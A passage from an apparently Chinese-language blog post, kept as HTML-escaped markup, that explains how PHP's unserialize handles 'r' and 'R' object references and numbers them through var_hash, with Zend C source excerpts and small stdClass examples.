class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"variable\"\u003e$y\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$y\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;O:8:\u0026quot;stdClass\u0026quot;:0:\u0026#123;\u0026#125;s:1:\u0026quot;b\u0026quot;;r:2;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// id(a) == id(b),二者都是$y;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u003cspan class=\"variable\"\u003e$x\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;r:1;s:1:\u0026quot;b\u0026quot;;r:1;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而当PHP中的一个对象如果是对另一对象显式的\u003cstrong\u003e引用\u003c/strong\u003e,那么在同时对它们进行序列化时将通过大写R表示\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;i:1;s:1:\u0026quot;b\u0026quot;;R:2;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"分析\"\u003e分析\u003c/h2\u003e\u003ch3 id=\"R与r的不同处理\"\u003eR与r的不同处理\u003c/h3\u003e\u003cp\u003e对于“同一个对象”,php直接对取出的对象引用进行了一次解引用,便将这个 \u003cem\u003e\u003cstrong\u003e对象\u003c/strong\u003e\u003c/em\u003e 赋给了右值。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026quot;r:\u0026quot;\u003c/span\u003e uiv \u003cspan class=\"string\"\u003e\u0026quot;;\u0026quot;\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_long id;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e *p = YYCURSOR;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!var_hash) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e id = \u003cspan class=\"built_in\"\u003eparse_uiv\u003c/span\u003e(start + \u003cspan class=\"number\"\u003e2\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 待会说 var_hash ,先看下面几行\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// r begin\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (rval_ref == rval) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_DEREF\u003c/span\u003e(rval_ref);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eZ_TYPE_P\u003c/span\u003e(rval_ref) != IS_OBJECT) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// r end\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_COPY\u003c/span\u003e(rval, rval_ref);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而对于“对象引用”,其反序列化过程与上面小r非常像,不一样的地方在于 r begin 和 r end 之间:\u003c/p\u003e\u003cp\u003ephp并没有对取出的引用进行解引用,直接将这个 \u003cem\u003e\u003cstrong\u003e引用\u003c/strong\u003e\u003c/em\u003e 赋给了右值。\u003cbr\u003e如果取出的引用本身指向的是一个引用,php还会进一步跟到引用指向的对象,创建一个新的指向对应对象的引用,赋给右值。\u003cbr\u003e我觉得这一步可以起名叫ref flattening。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 略\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// R begin\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eZ_ISUNDEF_P\u003c/span\u003e(rval_ref) || (\u003cspan class=\"built_in\"\u003eZ_ISREF_P\u003c/span\u003e(rval_ref) \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eZ_ISUNDEF_P\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REFVAL_P\u003c/span\u003e(rval_ref)))) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"built_in\"\u003eZ_ISREF_P\u003c/span\u003e(rval_ref)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_property_info *info = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((*var_hash)-\u0026gt;ref_props) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e info = \u003cspan class=\"built_in\"\u003ezend_hash_index_find_ptr\u003c/span\u003e((*var_hash)-\u0026gt;ref_props, (\u003cspan class=\"keyword\"\u003ezend_uintptr_t\u003c/span\u003e)rval_ref);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_NEW_REF\u003c/span\u003e(rval_ref, rval_ref);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (info) \u0026#123; \u003cspan class=\"built_in\"\u003eZEND_REF_ADD_TYPE_SOURCE\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REF_P\u003c/span\u003e(rval_ref), info); \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// R end\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eZVAL_COPY\u003c/span\u003e(rval, rval_ref);\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"数字\"\u003e数字\u003c/h3\u003e\u003cp\u003e那么,R/r后面跟的数字是怎么决定的呢?首先我们先来“黑箱分析”一下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// e.g 1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a:2:\u0026#123;i:0;O:8:\u0026quot;stdClass\u0026quot;:0:\u0026#123;\u0026#125;i:1;R:2;\u0026#125; ⬇️ 注意这,变了\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003evar_dump(unserialize(\u003cspan class=\"string\"\u003e\u0026#x27;a:2:\u0026#123;i:0;O:8:\u0026quot;stdClass\u0026quot;:0:\u0026#123;\u0026#125;i:1;R:1;\u0026#125;\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 压缩了一下(\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003earray(2) \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [0]=\u0026gt; object(stdClass)#2 (0) \u0026#123;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [1]=\u0026gt; array(2) \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [0]=\u0026gt; object(stdClass)#2 (0) \u0026#123;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [1]=\u0026gt; *RECURSION*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e \u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// e.g 2\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;i:1;s:1:\u0026quot;b\u0026quot;;R:2;\u0026#125; ⬇️ 同上\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003evar_dump(unserialize(\u003cspan class=\"string\"\u003e\u0026#x27;O:8:\u0026quot;stdClass\u0026quot;:2:\u0026#123;s:1:\u0026quot;a\u0026quot;;i:1;s:1:\u0026quot;b\u0026quot;;R:1;\u0026#125; \u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eobject(stdClass)#3 (2) \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [\u0026quot;a\u0026quot;]=\u0026gt; int(1)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [\u0026quot;b\u0026quot;]=\u0026gt; *RECURSION*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e相信大家定睛看两眼上面的例子就能猜出,R/r后面的数字指代的是在 \u003cem\u003e\u003cstrong\u003e同一反序列化过程中\u003c/strong\u003e\u003c/em\u003e\u003cbr\u003e出现过的第n个非键(key)对象(我又在瞎起名字了)\u003c/p\u003e\u003cp\u003e看过上面的源码以后很容易猜到,在反序列化过程中:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这一步正是上面取值的关键。在反序列化过程中我们看到 \u003ccode\u003ephp_var_unserialize_internal\u003c/code\u003e 函数在一开头就进行了 \u003ccode\u003evar_push(var_hash, rval);\u003c/code\u003e 这样的操作(当然前提是反序列化的对象的标记不能是’R’,因为“引用”本身如果也计算在内,那么就有可能出现循环引用。浙恒河里),而 \u003ccode\u003evar_push\u003c/code\u003e 正是向列表 \u003ccode\u003evar_hash\u003c/code\u003e append一个新的元素。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其实 \u003ccode\u003evar_hash\u003c/code\u003e 并不单单是一个列表,只是本文为方便这么说罢了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cem\u003e\u003cstrong\u003e此处小重点\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\u003cp\u003e这时候就有同学要问了,数组的index是数字,对象的属性名是字符串,它们都存在于反序列化过程当中,为什么它们没有被append进 \u003ccode\u003evar_hash\u003c/code\u003e 呢?我们回头看一下 \u003ccode\u003evar_push\u003c/code\u003e 的条件:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (var_hash \u0026amp;\u0026amp; (*p)[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] != \u003cspan class=\"string\"\u003e\u0026#x27;R\u0026#x27;\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后面那个’R’已经在恒河里了,那么前面那个 \u003ccode\u003evar_hash\u003c/code\u003e 非 NULL 的判断意义何在呢?\u003cbr\u003e桥豆麻袋,\u003ccode\u003evar_hash\u003c/code\u003e 是哪里来的呢?\u003cbr\u003e\u003ccode\u003ephp_var_unserialize_internal\u003c/code\u003e 的参数里有个宏\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e UNSERIALIZE_PARAMETER \\\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zval *rval, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e **p, \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *max, \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ephp_unserialize_data_t\u003c/span\u003e *var_hash\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_var_unserialize_internal\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e 